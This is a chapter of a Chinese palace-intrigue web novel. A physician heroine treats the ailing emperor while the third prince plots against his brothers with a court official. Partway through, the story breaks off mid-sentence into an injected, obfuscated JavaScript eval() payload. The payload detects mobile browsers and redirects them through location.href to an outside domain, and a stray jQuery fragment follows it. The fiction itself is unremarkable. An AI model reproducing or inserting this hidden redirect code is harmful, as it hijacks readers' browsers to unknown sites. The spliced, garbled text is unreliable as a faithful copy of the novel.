苏婉宁这回,是堂堂正正进的皇宫。
明德帝的情况不太妙,苏婉宁搭脉的手不由重了几分。
“陛下可有每日按时服用我给的药丸?”
“嗯,你都说了,可以吊着孤的命,孤自然要服。”
“陛下切不可再动怒了,怒急攻心,若再吐血几次,只怕……”
话没说透,可明德帝知道苏婉宁这话的意思。
“放心,孤不会让自己死太快的。”至少在他扫清障碍,护住自己江山前,他会好好活着。
苏婉宁没说话,毕竟生死由命,富贵在天。阎王要你三更死,绝不会留你到五更。
出了陛下寝殿,被一小太监叫住。
说是三殿下要见一见江少夫人。
苏婉宁眉头一蹙,三皇子见她做什么?
“劳烦公公前面带路。”
苏婉宁跟着那小公公一路前行,竟被带到了御书房内。
苏婉宁一怔,陛下如今已经醒过来了,难道处理政务事宜,还是交给三殿下?
细想一下,她便明白过来,如今明德帝的身子骨,可经不起折腾了。而整个皇宫似乎也在这位三殿下的掌控之中。
进了内殿,苏婉宁向刘承允行礼问安。
她虽说与这位三殿下见面次数不多,可总觉得这人不似表面上看着那般淡然平和。
“江少夫人不必拘礼,快请坐。”刘承允温和有礼,又命宫婢给苏婉宁上茶。
“三殿下不必如此客气,不知您找我有何事?”苏婉宁开门见山,直接问道。
“听说你懂医术?”三殿下笑意吟吟道:“所以,请江少夫人过来,是想问一问,我父皇的身体如何了?”
刘承允笑得有些无奈,说早朝时,明德帝吐了血,给他宣太医,结果明德帝将人给赶了出来,不让太医瞧。
可回头便宣了苏婉宁进宫,这不明显着明德帝不信太医,却信了苏婉宁么?
表面儿上,三皇子孝心可佳,关心自己的父皇,可苏婉宁知道,他是在向她打探老皇帝的病情。
而他问的是‘我父皇的身体如何了’?也就是说明,刘承允是知道了苏婉宁给明德帝瞧过身体。
“殿下放心,陛下只是有些上火了,吃些清热降火的药,休息几日,便会康复的。”
刘承允闻言,眉头几不可见的蹙了一下,而后又笑开来。
“若是这样,那我便放心了。劳烦少夫人亲自跑一趟,辛苦啦!”
“殿下客气了,我没帮上什么忙,若殿下没有别的事,那我便先行告退了。”
“好好,那我便不耽搁姑娘了。”刘承允连连点头,“小喜子,送姑娘出去。”
苏婉宁眉色微蹙,不动声色颔首退出御书房外,心头隐隐生出一丝不安来。
待苏婉宁出去后,刘承允身边的亲卫进来,替自己家主子磨墨。
刘承允正在纸上写字,他写得认真,问道:“可有查到些什么?”
“回殿下,属下查了,这苏二姑娘没什么特别的。”
刘承允笔一顿,墨汁晕染一大坨,将纸模糊一大片。
“没什么特别?”才是最大的特别。
金凤这才将自己调查到,有关于苏婉宁的一切说与刘承允听。
“她那一身医术又做何解释?”
“听说是小时候遇到一游方大夫,传授过她一些医术学问。”金凤想了想又道:“殿下,有件事情,到是很奇怪。”
“什么事?”
“属下调查发现,付大人似乎也查过她。”
付大人?刘承允抬起头看向金凤,眼里有疑惑。
这两人八竿子打不着,“付明成查她做什么?”
“属下不知。”
“去安排一下,我要见他。”刘承允眸光中闪过一丝寒光,在这个节骨眼儿上,他绝不允许出现任何差错。
这头苏婉宁刚出宫,那头明德帝便下了旨赐婚,赐谁的婚?自然是柳家姑娘与他儿子的婚事。
圣旨上,明确表示,柳家与皇家原就是有婚约在的,只不过原有的婚约不可能了,现下作为补偿,便将柳文嫣赐婚给五殿下为正妃。
明德帝对外称,因五皇子不畏生死,远赴灾区抗疫救灾,其品行天地可鉴,加上连日的灾情,弄得人心惶惶。
为了增加气运,便赐婚,算是冲喜,寓意灾情能够平定,传来喜讯。待五殿下抗疫回京,便下旨完婚。
明德帝这是摆明了要平衡朝中局势,不想让一方独大。
可这圣旨一下,也意味着有人坐不住了。
苏婉宁嗅到了其中的阴谋,也察觉出山雨欲来风满楼。她心中忐忑不已,不知道江淮序那边怎么样了。
无论如何,要稳住局面。
“清风。”
“少夫人,有何吩咐?”
“你亲自去一趟江北,把这封信交给苏遇。还有,一封信交给宝珠。”苏婉宁前后拿出两封信来,递给清风。
“少夫人,爷让我一定要留下护着您安全。”清风一脸为难,他哪里能离开?
“我的安全重要,还是你主子的安全重要?”
“都重要。”
苏婉宁闻言,气不顺了。这榆木脑袋,她斥道:“江淮序必须活着,只有他活着,咱们这些人,才不用死,你明白吗?”
清风还是摇头:“不明白,我听爷的。”
“你若不听我的,你家爷,只怕活不了。”
清风脸色突变,相比较之下,爷的命才是最重要的。可爷的嘱托也很重要啊!
“少夫人,您今日进宫,是不是听到些什么风声?”
苏婉宁不回答他,而是道:“京都要变天了,而江淮序活着,才能保江家不倒,若他死了,别说我,整个江家的人,都会死。到那时,你还护得住我的安全吗?”
一句话,问毒了清风,若主子没了,他也不想活了。
“你放心,我身边有七雨,还有剑兰和剑秀在,你快去快回,出不了事的。”
清风迟疑片刻后,闷闷地点头同意。
……
子时三刻,一辆马车疾驰而奔,朝着城南而去。马车行至半个时辰后,在一处名为雅居园的宅院前停下。
帘子掀开,身着斗篷披风的年轻男子下了马车,宅院门被打开,人有迎了出来。
刚要行礼问安,男子抬手示意他不必拘礼。青衫男子左右瞧瞧,见四周安静,这才将人迎了进去。
书房中,那人脱下斗篷,解了披风,露出原本的面貌来。
青衫男子这才恭敬行礼问安。
“下官见过三殿下。”
“爱卿不必多礼,快
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696383|157369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快请起。”刘承允一脸温和,将付明成扶起身来。
付明成立马吩咐下属,将早已准备好的茶水点心端上来给三殿下。
刘承允坐定后,看着一旁恭敬的付明成。没有多余的弯弯绕绕,而是开门见山问:“对于苏婉宁这人,把你知道的,都同本宫仔细说说。”
付明成眸色一惊,心下了然,便将自己知道的一一说了出来。
心下也不免暗衬,这三殿下果然看着不似表面那般平庸。连他查过苏婉宁都知道。
看来这京都的天,真的要变了。
刘承允听着付明成的话,眉心微蹙。
“你是说,她的医术不在你之下?”
“是,或许比微臣的还略胜一筹。”
付明成答得很谨慎,但这也足够说明苏婉宁不简单。
如果是这样的话,那老皇帝的身体……
苏婉宁只怕是为了敷衍他,才说老皇帝的身体无恙。
那苏婉宁又知道多少?她是否知道老皇帝身中剧毒,时日无多?
刘承允思索着付明成话里的成分,估算出一个苏婉宁可能会给他整件事情带来的后果。
只怕是要快点行事了。
“你那头如何了?”
付明成会意,连忙道:“请殿下放心,一切都在掌握中。”
“好,明成啊!此事若是成了,日后本宫定不会忘记你的功劳。”
“能为殿下效力,是微臣的福气,微臣不敢居功。”
“付爱卿果真是个人才,难怪能得我皇叔如此看重。”刘承允赞赏一句。
话锋一转,眼神幽幽道:“江世子身子弱,在疫区待得久了,只怕会染上疫病,我那五皇弟长时陪在其左右,只怕也不能幸免。本宫得知恶耗,深感痛心啊!”
“明成啊!你知道本宫的心意吧?”
付明成眸色一抖,立马表忠心。
“殿下放心,臣定会为殿下排忧解难,助殿下成就大业。”
“很好。”刘承允眸色染上一抹狠厉,挡他路者,死!
丑时末,刘承允离开别院。
付明成快书一封,让人送往江南……
与此同时,柳相府府邸内,柳丞相眉头深锁,心头隐隐生出一丝不安来。
他担心的事情,还是发生了。
既然棋走到这一步,而作为棋盘上的棋子,他能做的,便是保全柳家。
第二日一早,柳相父女二人前后脚出了门。
不同的是,柳丞相去了皇宫,而柳文嫣则去了方氏绣庄。
踏进方氏绣庄,夏玉便迎了上来。
“哟!柳小姐,什么风把您给吹来了?”夏玉习得一手讨好人的技巧,卖东西也是一把好手。
“我的绣品,可是绣好了?”柳文嫣漫不经心道。
夏玉冲她点点头,“柳小姐要的东西,自然是为您准备好了,您请上二楼喝杯茶,我这就去给您也取来。”
柳文嫣点头上了二楼包间,推门进去,便见着苏婉宁坐在四方桌前煮茶。
“阿宁……”柳文嫣一喜,刚要再说话,苏婉宁做了个禁声的手势。
她立马明白,走到四方桌前坐下。
苏婉宁让剑兰在外面守着,别让人靠近。
一切妥当后,苏婉宁才道:“京都恐怕要变天了。”